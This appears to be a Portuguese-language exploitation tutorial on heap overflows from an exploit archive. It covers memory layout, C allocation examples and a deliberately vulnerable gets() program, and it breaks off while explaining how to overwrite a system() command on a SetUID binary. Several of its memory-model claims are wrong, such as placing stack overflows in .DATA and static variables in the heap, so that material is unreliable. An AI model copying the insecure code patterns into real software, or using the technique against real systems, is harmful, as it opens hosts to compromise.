[Portuguese] Heap Overflow (Parity bit edition)

EDB-ID:

31642

CVE:

N/A




Platform:

Linux

Date:

2014-02-13


                         
   +================================ ***** ====================================+
   |=-------------------=[ <-|-> Corporacao Vibora <-|-> ]=-------------------=| 
  <                   _====================================_                    > 
   |=---------------=[ A CENA HACKER UNDERGROUND BRASILEIRA ]=----------------=|           
  <                   ======================================                [s] >
   |                        SUA EMPRESA EM BOAS MAOS                           |        
   +===========================================================================+
  
                            
                    YOUR COMPANY IN GOOD HANDS, OUR HANDS.
 

   Titulo  : Heap Overflow (Parity bit edition\r\n)  
   Autor   : 6_Bl4ck9_f0x6 
   A.k.a   : David Diego
   Email   : b-fox@bol.com.br
      

"Uma noite destas, vindo da cidade para o  Engenho Novo, encontrei  num trem da Central 
um rapaz aqui dobairro, que eu conheco de vista e de chapeu. Cumprimentou-me, sentou-se 
ao pe de mim, falou da lua e dos ministros, e acabou  recitando-me versos. A viagem era 
curta, e os versos pode ser que nao fossem inteiramente maus. Sucedeu, porem, que, como 
eu estava  cansado, fechei  os olhos  tres ou  quatro vezes; tanto  bastou para que ele 
interrompesse a leitura e metesse os versos no bolso."
 
                                                    -- Dom Casmurro de Machado de Assis 


[+ ======X============X===============X===== +]
                INDICE 
[+ ======X============X===============X===== +]


<-+->  1.0 - Introducao 
<-+->  2.0 - Possiveis utilidades
<-+->  3.0 - Modelos de memoria
<-+->  4.0 - Entendendo os enderecos de memoria
<-+->  5.0 - Overview sobre alocacao dinamica e o utilizacao de static    

<-+->  6.0 - Entendendo o SetUID
<-+->  6.1 - .Movie

<-+->  7.0 - Desenvolvendo exploits de Denial of Service
<-+->  8.0 - Useful links and references



1.0 - introducao


Os pre-requisitos  basicos para  a  leitura e "entendimento" deste texto e' o conhecimento
em nivel intermediario da linguagem de  programacao 'C', e conhecimento previo de sistemas 
Unix/Linux e Windows, pois neste texto contera' exemplos de  exploracao em ambas as plata-
formas. Com esse texto  pretendo  abordar o  funcionamento de  uma das  inumeras falhas de 
seguranca mais exploradas, o bug de 'heap overflow', que  comumente e'  chamado de 'Buffer 
Overrun' por uma grande parte da comunidade de  seguranca. Dedicarei  esse  texto a F3rGO, 
Dark_Side, Darkness, Cheat Struck, Emmanuely,  AciDmuD, VooDoo, Osmar Ferrante  e  a todos 
que fizeram e que continuam fazendo da cena hacker brasileira, um cena forte.   


1.0 - Introduction

The basic requirements to read and learn the informations in this text is the basic knowledge 
about programming  in C language  and previous knowledge on Unix systems and Windows, because 
of this text to cointain examples of exploration in  both  plataforms. This  text  will cover
the steps to exploit a flaw called 'Heap Overflow' also usually called  Buffer Overrun by the 
security community. I offer this text to Dark_Side, Cheat Struck, Darkness, F3rGO, Emmanuely, 
AciDmuD, VooDoo and to all security experts from Brazil.   



2.0 - Possiveis utilidades


De 100 servidores na internet, como servidor de web, sql e ftp, no minimo  uns 80 estao 
rodando sobre arquitetura Unix, por isso a importancia da  obtencao de  conhecimento em 
sistemas Unix, pela quantidade esmagadora de  servidores. Com o  conhecimento  que aqui 
sera' descrito voce sabera' se utilizar dessa falha para adicionar usuarios ao sistema,
abrir portas para um posterior acesso, entre varias outras acoes que, dependendo do seu
nivel de  conhecimento  sobre Unix, serao  quase infindaveis. A distribuicao  Linux que 
aqui sera' utilizada deriva do Debian, chamada de 'kurumin Linux'. Veja informacoes nao 
tao relevantes (para o nosso proposito) sobre minha arquitetura:


2.0 - Possible utilities


The most of the services  in  the  internet like web servers, sql and ftp are running on
Unixes. With this knowledge described  below  you'll know to use this flaw to add a user 
to system, for open ports, between many others good actions. The Linux distribution used 
in my samples is called  Kurumin Linux  (Based on Debian Linux). See below  informations
without importance to our purpose, just for convenience (such as the Windows).


sh-3.1$ cat /proc/cpuinfo
processor       : 0
vendor_id       : AuthenticAMD
cpu family      : 15
model           : 44
model name      : AMD Sempron(tm) Processor 2600+
stepping        : 2
cpu MHz         : 1599.957
cache size      : 128 KB
fdiv_bug        : no
hlt_bug         : no
f00f_bug        : no
coma_bug        : no
fpu             : yes
fpu_exception   : yes
cpuid level     : 1
wp              : yes
flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov                                               pat pse36 clflush mmx fxsr sse sse2 syscall nx mmxext fxsr_opt lm 3dnowext 3dnow                                               pni lahf_lm ts ttp tm stc
bogomips        : 3203.58


root@Black_Machine:/home/Black_Fox# cat /etc/issue

Kurumin Linux, Debian Etch \n \l
http://www.guiadohardware.net


sh-3.1$ uname -a
Linux Black_Machine 2.6.18.1-slh-up-2 #1 PREEMPT Wed Oct 25 18:46:42 CEST 2006 i686 GNU/Linux
sh-3.1$ arch
i686
sh-3.1$ 



3.0 - Modelos de memoria


O modelo usual de memoria depende muito  do sistema, me utilizarei como base inicial o 
modelo no "Linux/i186" apenas para  demonstracao, apesar dos modelos usuais de memoria 
serem diferentes para cada sistema, o ponto chave e' o mesmo, Heap  e' um local, stack  
e' outro. A regiao onde ocorre o Heap Overflow armazena dados em enderecos sequenciais 


     +-----------+
     |  .DATA    |  <-- Regiao onde ocorre o Stack overflow 
     +-----------+
     |  .BSS     |  <-- Regiao onde ocorre o Heap Overflow
     +-----------+
     |  .TEXT    |  <-- Instrucoes em Assembly (Written in Assembly)
     +-----------+


O "stack" overflow ocorre na registao .DATA, o 'Heap overflow' ocorre  na regisao '.BSS', 
o comum e' usarmos heap overflow p/ sobrescrever os enderecos  de memoria  na regiao .BSS
"longe" de seus "limites", pois ainda existe  a possibilidade de  manipulacao de colisoes 
entre heap e stack, mas nao e' o foco deste texto descrever tal tecnica. A regiao '.TEXT' 
armazena o codigo do programa em assembly, codigos esses  que sao  representacoes diretas 
das instrucoes de maquina, instrucoes essas que por  sua vez sao  nomeadas de Operational
Codes - Codigos Operacionais, ou simplesmente "OpCodes" .


Exemplo:

OpCode    Assembly 

  90        NOP


O NOP e' convertido em 90 ("Instrucao de maquina"). '90' e' um set instruction (Na linguagem 
de programacao "Assembly") em  formado OpCode, e esta em  hexadecimal, e equivale  a 1 byte, 
como  tantas outras, tal como MOV. Essas instrucoes  equivalem a  1 byte porque dois digitos 
em hexadecimal equivalem a 8 bits. Para denotarmos valores hexadecimais utilizamos a notacao 
'\x' (especificador de constantes hexadecimais em C) dentro da string.


"\x41" <-- A
"\x42" <-- B
"\x43" <-- C


-- cut --

#include <stdio.h>

main (){
     
     printf ("%c, %c e %c\n", 0x41, 0x42, 0x43); }

-- cut --


Resultado:

A, B e C

-- cut -- 

#include <stdio.h>

main (){
     
     printf ("%x, %x e %x\n", 'A', 'B', 'C'); }

-- cut --

Resultado:

41, 42 e 43



O processador trabalha em nivel hexadecimal/opcodes, e a base numerica utilizada
pelo processador para enderecamento na memoria  obviamente  que tambem  e' essa. 
Abaixo voce podera' ver um layout de memoria classico para processos.



                   +-------------------+
                   |                   |   <----+
                   |  Stack (Pilha)    |        |
                   |                   |        |
                   +         |         +        |
                   |         |         |        |
                   |         V         |        |
                   |                   |        |
                  <                     >       | 
                   |                   |        |
                   |         ^         |        |
                   |         |         |        |
                   +         |         +        |
                   |                   |        |
                   |        Heap       |        |
                   |                   |        |      +-------------------------+
                   +-------------------+        +-----<  Classical Memory Layout | 
                   | Variaveis globais |        |      | ======================= |               
                   +-------------------+        |      +-------------------------+  
                   |Codigo do programa |   <----+       
                   +-------------------+


Como citei anteriormente, lhe dizer a disposicao fisica global de memoria, nao e' possivel, 
pois memoria varia de acordo com as implementacoes do C/Compilador, CPU e  "ambiente". Esse 
e' o modelo ideal para  termos  em mente. A regiao  'Codigo do Programa'  armazena o codigo 
executavel do programa. Na regiao  "variaveis globais"  e' onde todas  as variaveis globais 
sao armazenadas. A area 'Stack' e' a  responsavel  por  salvar  o  endereco de  retorno das 
subrotinas, passar parametros para  funcoes, criar variaveis  locais, etc. A heap e' a area 
responsavel por armazenar  dados  alocados dinamicamente, e  enderecos de variaveis esticas 
(static). Como voce pode perceber atraves das setas neste diagrama acima, os ponteiros Heap 
e Stack  gravam dados  convergindo em sentido  as suas  respectivas  areas  de  alocacao de 
memoria disponiveis, podendo ocasionar  colisoes, pois essas areas gravao dados convergindo 
para a mesma direcao, a stack grava dados a  partir  do maior  endereco (0xffffffff) para o  
menor (0x00000000) e a Heap faz  o oposto, partindo  do menor  endereco (0x00000000) para o 
maior 0xffffffff. 



4.0 - Entendendo os enderecos de memoria


Vou falar primeiramente da unidade de base 16, ou seja, o hexadecimal. Tomarei como exemplo 
a base decimal. 


0 1 2 3 4 5 6 7 8 9   


Observe que o 9 e' o ultimo numero da dezena, depois os numeros comecarao a ser repetidos. 
Nesse caso o 1 (10). Observe que comecei do 0, pois para representar o 10 precisei inserir
o 1 ao lado do '0'. A base 16 e' a base  numerica utilizada para enderecamento na memoria, 
a base hexadecimal  propriamente  dita. A  memoria de  qualquer computador e'  dividida em 
"segmentos", cada seguimento tem 64k de tamanho.
 

Veja a tabela:

+---+-----------------------------------------------------------+
| 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | A | B | C | D | E | F |
+---+-----------------------------------------------------------+
|   | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | |   |   |   |   |   | | 
+_--------------------------------------+ V   V   V   V   V   V |      
  |                                     | 10| 11| 12| 13| 14| 15|   
  |                                     +_---------------------_+
  |
  +-- >  A memoria comeca a ser escrita a partir do endereco 0 em cada
         seguimento, assim fazendo o '0' ser o 1 e o F ser o 16.  Isso
         quando estamos nos referindo a memoria do sistema.



Um outro exemplo:


Para contagem:                      +---> Os numeros comecam a ser repetidos em hexa
                                    |     2044 = 7FC 
                                    |
1 2 3 4 5 6 7 8 9 A  B  C  D  E  F  10 11 12 13 14    <--- Hexadecimal
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20    <--- Decimal


Para enderacamento:

0 1 2 3 4 5 6 7 8 9 A B C D E F 0 1 2 3 4 5 6 7 8 9 A B...  
                              |
                              +--> 16  


Quando fazemos calculos com valores hexadecimais nao podemos usar o '0' para representar 
o 1, apenas em enderecamento. 1024 bytes = 1 KB. Para saber quantos bytes existem dentro 
de determinado numero de KBs, faca isso:

1024 bytes * 64K = 65536 bytes

Digite FFFF em 'Hex' na calc.exe e logo em seguida mude  para 'Dec', vera 65535. A calcu-
ladora nao conta '0', mas no nosso calculo acima existe o '0' porque '1024' bytes * '64'k 
equivalem e 6553'6' bytes. Como voce pode notar a memoria comeca  a ser  escrita a partir 
do endereco 0. Sempre multiplique o numero  de KBs por '1024' que  representara os bytes. 
Tendo em vista que 8 bits equivalem a 1 byte, para sabermos  quantos bits  existem dentro 
de um determinado numero de bytes, basta multiplicarmos o numero de bytes por 8, que e' o 
numero de bits. Veja:

2 bytes * 8 bits = 16 bits       


O programa abaixo exibe onde os dados inseridos por nos sao gravados na memoria.


-- I_love.c -- 

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main (int argc, char **argv){

char heaven[777];

if (argc != 2){
fprintf (stderr, "Use: %s <your_name_here>\n", *(argv+0));
exit (-1);}

memcpy (&heaven, *(argv+1), sizeof (heaven));
fprintf (stdout, "Welcome to Heaven %s\n\n", *(argv+1));
puts ("This is your heaven\n");

int Te_amo=0;

for (Te_amo;Te_amo<=strlen (heaven);Te_amo+=1){
printf ("%X -> %c\n", &heaven[Te_amo], heaven[Te_amo]);}
return (0);}

-- cut --    



6_Bl4ck9_f0x6@Black_Machine:~/Desktop$ gcc -o love  I_Love.c
6_Bl4ck9_f0x6@Black_Machine:~/Desktop$ ./love
Use: ./love <your_name_here>
6_Bl4ck9_f0x6@Black_Machine:~/Desktop$ ./love David
Welcome to Heaven David

This is your heaven

BFA69E73 -> D
BFA69E74 -> a
BFA69E75 -> v
BFA69E76 -> i
BFA69E77 -> d
BFA69E78 ->
6_Bl4ck9_f0x6@Black_Machine:~/Desktop$


Compilarei e executarei este mesmo programa no windows, repare nos enderecos
de memoria:


C:\Documents and Settings\David>gcc c:\I_Love.c -o love

C:\Documents and Settings\David>love.exe
Use: love.exe <your_name_here>

C:\Documents and Settings\David>love.exe "<->6_Bl4ck9_f0x6<->"
Welcome to Heaven <->6_Bl4ck9_f0x6<->

This is your heaven

22FC60 -> <
22FC61 -> -
22FC62 -> >
22FC63 -> 6
22FC64 -> _
22FC65 -> B
22FC66 -> l
22FC67 -> 4
22FC68 -> c
22FC69 -> k
22FC6A -> 9
22FC6B -> _
22FC6C -> f
22FC6D -> 0
22FC6E -> x
22FC6F -> 6
22FC70 -> <
22FC71 -> -
22FC72 -> >
22FC73 ->

C:\Documents and Settings\David>


Como foi anteriormente citado, os dados sao gravados  na memoria a patir do endereco '0' 
a 'F'. Observe que a primeira letra  da string <->6_Bl4ck9_f0x6<-> e'  salva no endereco 
22FC60, essa  faixa  se inicia  com '0' e  vai ate' o 'F' (22FC6F -> 6), depois  o valor 
volta a ser '0' ( 22FC70 -> < ), pois em hexadecimal o maior  numero e' F. Repare  que o 
numero a esquerda era 6 (22FC'6'F), quando  uma linha de endereco chega  a F, alem deste 
endereco voltar a ser 0, o numero que esta' ao lado deste, e'  incrementado (Neste caso),
ou seja, 22FC'7'0. Existem implementacoes que salvam dados do maior endereco (0xffffffff) 
para o menor (0x00000000 <- Nao chega ate' aqui porque o sistema tambem usa memoria, as-
sim fechando o programa.) e vice-versa. A maneira de alocacao de dados para variaveis na 
memoria varia muito, os fatores que interferem nesse caso ja fora citados (Compilador/C,
Plataforma, etc...). A stack armazena dados do maior endereco  ate' o  menor, ou seja, o 
programa "tende" a chegar ao endereco 0x00, mas isso e'  impossivel pois estes enderecos 
iniciais sao reservados para o sistema, assim ocasionando o imediato fechamento da apli-
cacao violadora. Para nos referirmos a enderecos de memoria devemos  especificar  que se 
trata de valores  hexadecimais, portanto  devemos  especificar o '0x' (notacao utilizada 
como desinencia para algarismos em hexadecimal). 


Veja:


main (){ 
printf ("%d", 0xA); } 

Resultado:

10


No exemplo acima (I_love.c), matrizes de  caracteres ("strings")  sao armazenadas em ende-
recos sequenciais/continuos. Em hardware de 32 bits uma faixa de memoria cheia  e' equiva-
lente ao hexadecimal 0xffffffff, pois dois digitos hexa equivalem  a um byte ('8' bits), a 
faixa de enderecos acima possui '8' digitos em hexa, isso e' igual a  4 bytes, 32 bits. Em 
hardware de 16 bits um  numero inteiro  ocupa 2 bytes na  memoria porque 0xffff e' o maior 
endereco em hardware  de 16 bits, tendo  em vista  que uma  variavel do tipo int ocupa uma 
faixa intEIRA na memoria. Cada tipo de variavel ocupa uma quantidade de  dados na memoria. 
Um caractere (char) ocupa apenas 1 byte na memoria, uma variavel do  tipo  int, ja citada,
ocupa quatro bytes contiguos (Hardware de 32 bits), uma variavel do tipo long tambem ocupa 
4 bytes, double 8 bytes, etc. Um ponteiro  sempre tera' o tamanho  de 4 bytes em hardwares 
de 32 bits, nao  importa  o  seu  tipo. Voce  podera'  ver a  quantidade de  bytes que uma 
variavel ocupa no seu sistema usando o operador sizeof(). 


#include <stdio.h>

main (){

printf ("char           :   %d byte\n", sizeof (char));
printf ("int            :   %d bytes\n", sizeof (int));
printf ("float          :   %d bytes\n", sizeof (float));
printf ("double         :   %d bytes\n", sizeof (double));
printf ("int pointer    :   %d bytes\n", sizeof (int *)); 
printf ("double pointer :   %d bytes\n", sizeof (double *));

} 

Resultado:


sh-3.1$ gcc len.c
sh-3.1$ ./a.out
char           :   1 byte
int            :   4 bytes
float          :   4 bytes
double         :   8 bytes
int pointer    :   4 bytes
double pointer :   4 bytes


Para uma melhor compreensao, darei um exemplo de alocacao de memoria para armazenar 
determinados tipos de variaveis, usando enderecos ficticios. 


-- corte aqui --
 
main (){

     int numero=5;
     char letra='C';}

-- cut here -- 


        0x00000000   <----
        0x00000001        |_____ Memoria  relativa a  variavel numero.
        0x00000002        |      Esses 4 bytes armazenam o numero 5.
        0x00000003   <----
        0x00000004
        0x00000005 
        0x00000006
        0x00000007
        0x00000008   
        0x00000009                 
        0x0000000A
        0x0000000B
        0x0000000C
        0x0000000D
        0x0000000E
        0x0000000F
        0x00000010    <--------- Uma variavel do tipo char ocupa 1 byte na memoria 
        0x00000011               (0x00000010). O indice de matrizes em C e' '0' p/
                                 referenciar o primeiro elemento da  matrix porque
                                 matrizes sao  alocadas a  partir do endereco 0 na 
                                 memoria (como visto).
(...)                                 



FFFF FFFF = 4 bytes
1234 5678
                           +------<>----------------------<>-------------<>------------+
0x00000000     <----       |Esse e' o espaco reservado para uma  variavel  inteira em  |     
0x00000001          |_____ |hardware de 32 bits. Cada faixa dessa  equivale a 1 byte.  |
0x00000002          |      |Repare que um int equivale a 4 bytes nesse exemplo porque  |  
0x00000003     <----       |o endereco de memoria  maximo e' 0xffffffff (8 algarismos  | 
                           |em hexadecimal... 4 bytes).                                |
                           +------<>----------------------<>-------------<>------------+



Como havia citado acima, as areas de memoria reservadas para matrizes  costumam ser 
reservadas para alocacao a patir do endereco 0, por isso o indice em C e' '0'. Veja 
um exemplo com matrizes de caracteres (strings):


 -- Hundred.c -- 


#include <stdio.h>

int main (void){

char str1[]="My";
char str2[]="name";
char str3[]="is";
char str4[]="David";

int indice=0;

for (indice;indice<=strlen (str1);indice+=1)
printf ("%X -> %c\n", &str1[indice], str1[indice]);

for (indice=0;indice<=strlen (str2);indice+=1)
printf ("%X -> %c\n", &str2[indice], str2[indice]);

for (indice=0;indice<=strlen (str3);indice+=1)
printf ("%X -> %c\n", &str3[indice], str3[indice]);

for (indice=0;indice<=strlen (str4);indice+=1)
printf ("%X -> %c\n", &str4[indice], str4[indice]);

return (0);}


-- cut -- 


C:\>Hundred.exe
22FF60 -> M
22FF61 -> y
22FF62 ->        <-- \0 Terminador de string
22FF50 -> n
22FF51 -> a
22FF52 -> m
22FF53 -> e
22FF54 ->        <-- \0   
22FF40 -> i
22FF41 -> s
22FF42 ->        <-- \0
22FF30 -> D
22FF31 -> a
22FF32 -> v
22FF33 -> i
22FF34 -> d
22FF35 ->        <-- 0


Repare que  essas matrizes sao todas alocadas umas proximas das outras. Quando nao 
existe mais dados em uma determinada matriz entao a "matriz" vizinha e' alocada na 
memoria, e como voce  pode perceber, a  memoria procura  o  endereco  seguinte que 
tenha '0' disponivel e aloca a segunda matriz e assim por diante. 


Observe os enderecos no Linux:


 -- cut this file here -- 

#include <stdio.h>


main (){

  char letra='M';
  int numero=5;
  double alundra=10.5;
  float *pointer;

  printf ("Endereco de letra  :   %p\n", &letra);
  printf ("Endereco de numero :   %p\n", &numero);
  printf ("Endereco de alundra:   %p\n", &alundra);
  printf ("Endereco de pointer:   %p\n", &pointer);

}

 -- cut here -- 


sh-3.1$ gcc Minority.c -o minory
sh-3.1$ ./minory
Endereco de letra  :   0xbfbe2ddf
Endereco de numero :   0xbfbe2dd8
Endereco de alundra:   0xbfbe2dd0
Endereco de pointer:   0xbfbe2dcc
sh-3.1$


Veja que nao existe uma sequencia  nos enderecos, isso se deve  ao fato de uma memoria RAM - 
Ramdom Access Memory - Memoria de Acesso Aleatorio, como o  proprio nome sugere, escrever em 
qualquer endereco  de  memoria disponivel  para  alocacao  de forma  aleatoria. No modelo de 
memoria que  utilizaremos como  "pista" para a exploracao os dados sao  alocados/gravados na 
Heap em enderecos de memoria contigua, como as matrizes. A memoria  anteriormente vista e' a 
memoria  virtual, e como voce pode  notar o  esquema de  enderecamento  da mesma e' bastante 
simples, cada processo/programa possui um endereco na memoria  virtual (como ja visto, parte
de 0x00000000 em direcao a 0xffffffff), o que acontece e' que esse endereco  e' mapeado para 
a memoria fisica no momento da execucao do processo. O limite maximo de memoria virtual para 
cada processo e' de dois GB (Giga bytes), como tambem ja citado o sistema tambem usa memoria 
virtual, ou seja, se utiliza de uma parte desses bytes virtuais. Como voce podera' claramente
notar em qualquer debugger, a stack tambem faz parte da memoria virtual porque ela tambem e' 
enderecavel usando o esquema acima (0x00000000 a 0xffffffff). Mesmo o endereco virtual sendo 
convertido em endereco fisico na execucao do programa (Copia  do mesmo  para a memoria), nao
devemos de forma alguma  pre-julgar que  o mesmo seja  representante direto e  estatico para 
cada pedaco da memoria fisica, porque a memoria virtual e' muito relativa, isso  quer dizer, 
que uma variavel pode estar armazenada em um  determinado endereco  virtual, mas nada impede
que outra variavel tambem esteja armazenada  neste mesmo endereco virtual, o que acontece de 
fato e' que no momento da execucao do programa a memoria virtual mapeia os dados de cada uma 
para  uma  parte  diferente  na  memoria fisica. Apesar  de  um  programa  nao  compartilhar 
"literalmente" sua memoria virtual com outro, isso nao e' regra. 



5.0 - Overview sobre alocacao dinamica e o utilizacao de static    


Alocacao dinamica como o proprio nome ja da a entender, nada mais e' que voce alocar/reservar 
memoria para determinadas  constantes que sao passadas  pelo usuario do programa  em tempo de 
execucao (O termo tempo de execucao refere-se a eventos gerados durante a execucao de um pro-
grama). Uma das funcoes em C utilizada para tal se  chama 'malloc()', citada por se tratar da
principal. Veja uma declaracao tradicional de ponteiro do tipo 'char':


char *pointer; 


Esse ponteiro nao possui um limite para alocacao de dados definido, vou "mallocar"/alocar 
memoria para o mesmo e apos isso ele "pode armazenar" 5 bytes na memoria, veja:


pointer=(char *)malloc (sizeof (char) * 5);


O operador 'sizeof()' retorna um  tamanho de variaveis, matrizes ou tamanho de tipos, ou 
seja, 1 * 5, tendo em vista a disponibilidade para armazenagem de um byte para variaveis 
declaradas com o especificador 'char'. Como estamos lidando com o valor  de "retorno" do 
operador sizeof() precisaremos de um  typecast '(char *)', que  utilizado  indica que os 
dados que serao posteriormente alocados no  ponteiro sao bytes para caracteres, ou seja, 
o valor de "retorno da malloc()" sera' convertido em 'char', pois o ponteiro *pointer e' 
do tipo char. Vamos a um exemplo de alocacao de dados e  "controle" dos  mesmos ao serem 
passados para o ponteiro.


-- cut -- 

#include <stdio.h>
#include <stdio.h>

#define says printf

main (int argc_d, char **argv_d){

if (argc_d != 2){
    says ("Uso: %s <seu_nome>",*(argv_d));
    exit (-1);}

if (strlen (*(argv_d+1)) > 5){
fprintf (stderr, "Seu nome possui mais de 5 letras\n");
return 0;}

char *pointer;
pointer=(char *)malloc (sizeof (char) * 5);
strncpy (pointer, *(argv_d+1), 0x05);
says ("Oi ");
puts (pointer);
free (pointer);     // A funcao 'free()' libera a memoria alocada
}

-- cut -- 


Result in the windows:


C:\>mac.exe
Uso: mac.exe <seu_nome>
C:\>mac.exe David
Oi David

C:\>mac.exe David2
Seu nome possui mais de 5 letras

C:\>


O argumento inteiro da funcao malloc() reserva dados na area 'Heap' no modelo usual 
de memoria utilizado. Observe abaixo um outro exemplo de alocacao dinamica em C.


char *strdup  (const char *string); 


O que essa funcao faz e' basicamente alocar espaco  na  memoria  referente a "string" e  
depois  retornar um ponteiro para  a tal. Essa funcao faz o mesmo que o malloc(), o que 
difere as duas e' que ao inves de alocarmos memoria com  o 'malloc()' e nos utilizarmos 
de funcoes auxiliares para copia de dados, usamos o strdup() que aloca e copia os dados
de uma unica vez. 


-- cut -- 

main (){

  char *pointer;
  pointer= strdup ("Simples string");   /* Retorna a string devidamente alocada */

  puts (pointer);                      // Imprime a string na shell
  free (pointer);                      // Libera a memoria alocada (Na heap)
}

-- cut -- 


Com relacao ao static:

static char buffer[10];

Ira' alocar 10 bytes tambem "na heap", pois variaveis declaradas como estaticas, alocam 
espaco nessa regiao.



Recordaremos agora o Stack Overflow (simples overview).


-- quote -- 

....

char variavel[7];          < --- >          tipo variavel[buffer];

Cada caractere que uma variavel do tipo char armazena equivale a 1 byte, a string "luzinha" 
contera' um total de 7 bytes sem contar com o terminador de string ('\0'). Sempre temos que 
reservar um byte no buffer para o terminador nulo (\0), ou seja: 

char variavel[8] = "luzinha\0";

Definimos acima que a variavel de nome 'variavel' sera' do tipo char e  reservara' 8 bytes, 
ou seja, a  variavel teria um buffer ( local de armazenamento na memoria ) responsavel  por 
comportar 8 caracteres, pois cada caractere equivale a 1 byte. Caso aja  a insercao de mais 
dados que um buffer pode suportar  aparentemente nao acontece nada, pois o programa podera' 
aceitar (Nao exibira' nenhum alerta de erro, para ser mais especifico), mas ocorre o chamado 
buffer overflow, ou simplesmente, estouro de buffer, ocasionando a  reescritura  da area de 
memoria reservada para a variavel na stack. 

Exemplo: 

-------- overflow.c --------

#include <stdio.h>

main (void){
     char str[3];
     printf ("Estoure meu buffer [size buffer:3]:");
     gets (str);
     printf ("%s",str);}

---------- cut ----------     


Resultado:


C:\Documents and Settings\David\Desktop>overflow 
Estoure meu buffer [size buffer:3]:ab     < -- 2 caracteres + o terminador \0 = 3 (Normal)
ab         
C:\Documents and Settings\David\Desktop>overflow 
Estoure meu buffer [size buffer:3]:1234567891011 < -- Problema, mas nao existe emissao de alerta pelo sistema.
1234567891011
C:\Documents and Settings\David\Desktop>overflow
Estoure meu buffer [size buffer:3]:destroyeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeer
destroyeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeer

Devido ao numero excessivo de bytes inseridos na memoria acabamos por alcansar o endereco
de retorno na stack e o Windows XP SP1 emitiu a seguinte mensagem: 

O overflow.exe encontrou um problema e precisa ser fechado.


-- corte aqui -- 


Ja que na Heap os enderecos sao armazenados em locais contiguos se desenvolvermos uma 
aplicacao que reserva memoria em uma regiao da  Heap e  nessa mesma  aplicacao conter  
outra instrucao que  tambem  aloca  memoria  na mesma, os dados serao  armazenados um 
apos o outro.


Exemplo de alocacao de 10 bytes na Heap:


char *pointer;
pointer=(char *)malloc (10);


Reservo mais 10:

char *pointer2;
pointer2=(char *)malloc (10);

Estarao em enderecos visinhos na memoria. Veja um outro exemplo compilado sobre a
plataforma Windows. 

-- cut -- 

#include <stdio.h>

main() {
       
  char *pt1, *pt2;
  
  pt1 = (char *) malloc (10);
  pt2 = (char *) malloc (8);

  system ("cls");
  strcpy (pt1, "012345678");
  strcpy (pt2, "1234567");
  
   int i=0;
   
  fprintf (stdout, "\nCaractere  ---   Endereco Virtual\n\n");
   for (i;i<= strlen (pt1);++i)
          printf ("%c          -->   %x\n", pt1[i], &pt1[i]);
   
   puts ("");       
   for (i=0;i<= strlen (pt2);++i)
          printf ("%c          -->   %p\n", pt2[i], &pt2[i]); 
    
}

-- cut -- 



Caractere  ---   Endereco Virtual

0          -->   3d24b0
1          -->   3d24b1
2          -->   3d24b2
3          -->   3d24b3
4          -->   3d24b4
5          -->   3d24b5
6          -->   3d24b6
7          -->   3d24b7
8          -->   3d24b8
           -->   3d24b9

1          -->   003D2448
2          -->   003D2449
3          -->   003D244A
4          -->   003D244B
5          -->   003D244C
6          -->   003D244D
7          -->   003D244E
           -->   003D244F

C:\>_


Dois detalhes seguem  agora: O %p nos mostra os  enderecos ('VIRTUAIS') de memoria 
em um formato completo (0x00000008), enquanto o %x apenas  mostra os  enderecos de 
memoria virtual "utilizados". O outro:


-- cut -- 

#include <stdio.h>

main() {
       
  char *pt1;
  pt1 = (char *) malloc(sizeof (char) * 10); 

  // Se a malloc() nao conseguir alocar o numero de bytes na memoria ela retorna um NULL (0)

  if (!pt1){
  fprintf (stderr, "Memoria insuficiente\n");
  exit (-1);} 

  fprintf (stdout, "\n\"Caractere\" --   Endereco Virtual\n\n");
  strcpy (pt1, "138ABCJ");
    
   int i=0;
   
   for (i;i<=strlen (pt1);++i)
          printf ("%c           -->  %x\n", pt1[i], &pt1[i]);
     
}

-- cut -- 

Resultado:


C:\>heap

"Caractere" --   Endereco Virtual

1           -->  3d24b0
3           -->  3d24b1
8           -->  3d24b2
A           -->  3d24b3
B           -->  3d24b4
C           -->  3d24b5
J           -->  3d24b6
            -->  3d24b7

C:\>_


Note que nao existe sequencia nos enderecos virtuais  por razoes ja descritas, pois a 
sequencia nos enderecos sao referentes a memoria fisica referente a regiao heap, onde 
os enderecos sao armazenados de forma continua, na memoria virtual  apenas existe uma 
sequencia explicita em enderecos virtuais de matrizes. Como pode ser  observado o 'E' 
comercial ('&') escrito no  codigo fonte  acima  'retorna'  o endereco de  memoria de 
variaveis, enderecos esses que serao  lidos (%x). O 'Estouro de Heap' ocorre de forma 
similar ao stack overflow, o que difere e' que ao  inves de inserirmos  mais dados do 
que foram reservados para uma variavel na stack, inserimos mais dados que um ponteiro 
"mallocado" pode armazenar, e isso  faz  com  que  estouremos  os limites  de memoria 
reservada  para um  ponteiro e  assim  alcansando os endereco dos ponteiros que foram 
mallocado vizinhos ao primeiro. O nome Heap Overflow *Transbordar de Heap*  nada mais 
e' que uma alusao ao fato de "estourarmos/transbordarmos" os enderecos de  memoria de 
um ponteiro mallocado na heap, pois os dados alocados ('mallocados()')  dinamicamente 
na memoria, ficam nesta area, junto com as  variaveis  estaticas. Para  ver enderecos 
"fisicos" de uma variavel ou matriz o codigo de controle %d em C. Imagine um programa 
que aloca dois ponteiros na memoria, esse mesmo programa  pega  dados  digitados pelo 
usuario e copia os mesmos para o primeiro ponteiro, o segundo ponteiro e'  usado para 
executar um comando do 'sistema logo apos a copia de dados para o  primeiro ponteiro, 
esse segundo ponteiro ou variavel estatica e'  mallocado depois do  primeiro na heap, 
se nos enchermos o primeiro ponteiro  de dados vamos  alcancar o  endereco do segundo 
ponteiro, no qual contem um comando do sistema (Por exemplo). Para  encontrarmos esse 
tipo de falha basta inserirmos ao 'pt1' dados fazendo com que os mesmos transbordem a 
regiao de memoria referente numeros de bytes reservados, e ao termino disto, escreve-
mos um comando qualquer, isso  significa que  estaremos  escrevendo no  endereco onde 
fica armazenado o comando depois de "estourar" a Heap ate' alcancarmos  o endereco da 
instrucao que sera' executada pela funcao system(), isso faz com que 'system()' acabe 
por executar o que  inserirmos. Se esta  mesma  aplicacao  trabalhar com SetUID entao 
